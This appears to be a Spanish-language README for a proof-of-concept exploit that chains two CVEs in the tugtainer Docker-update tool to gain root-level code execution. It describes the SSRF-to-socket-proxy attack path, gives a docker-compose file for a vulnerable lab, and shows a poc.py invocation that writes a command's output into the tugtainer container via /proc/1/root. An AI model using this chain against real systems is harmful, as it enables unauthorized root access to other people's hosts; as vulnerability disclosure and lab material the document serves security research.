
Una combinación de CVE-2026-55494 y CVE-2026-62308 para obtener RCE con privilegios de root en tugtainer
El RCE se obtiene abusando de 2 vulnerabilidades
En resumen, se abusa de una vulnerabilidad SSRF para llamar a un servicio no autenticado en la red interna y crear un docker que comparte el mismo PID con tugtainer, haciendo así accesible el sistema de archivos del docker de tugtainer a través de /proc/1/root, y dado que el docker creado tiene privilegios de nivel root, técnicamente tienes nivel de root sobre el sistema docker de tugtainer.
docker-compose.yml proporcionado en este repositorio, o copie y pegue lo siguientenetworks:
tugtainer:
driver: bridge
services:
socket-proxy:
image: lscr.io/linuxserver/socket-proxy:latest
container_name: socket-proxy
environment:
CONTAINERS: 1
EVENTS: 1
IMAGES: 1
INFO: 1
LOG_LEVEL: warning
PING: 1
NETWORKS: 1
POST: 1
TZ: Europe/Moscow
VERSION: 1
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
restart: unless-stopped
read_only: true
tmpfs:
- /run
networks:
- tugtainer
labels:
dev.quenary.tugtainer.protected: True
app:
depends_on:
- socket-proxy
container_name: tugtainer
image: ghcr.io/quenary/tugtainer:1.30.2
tmpfs:
- /tugtainer:size=100m
restart: unless-stopped
environment:
DOCKER_HOST: tcp://socket-proxy:2375
networks:
- tugtainer
ports:
- '9412:80'
labels:
dev.quenary.tugtainer.protected: True
poc.py de la siguiente manera$ python poc.py <URL> <PASSWORD> <COMMAND>
$ python poc.py http://localhost:9412 Admin123! "whoami > /proc/1/root/tmp/pwned"
pwned en el docker de tugtainer en /tmp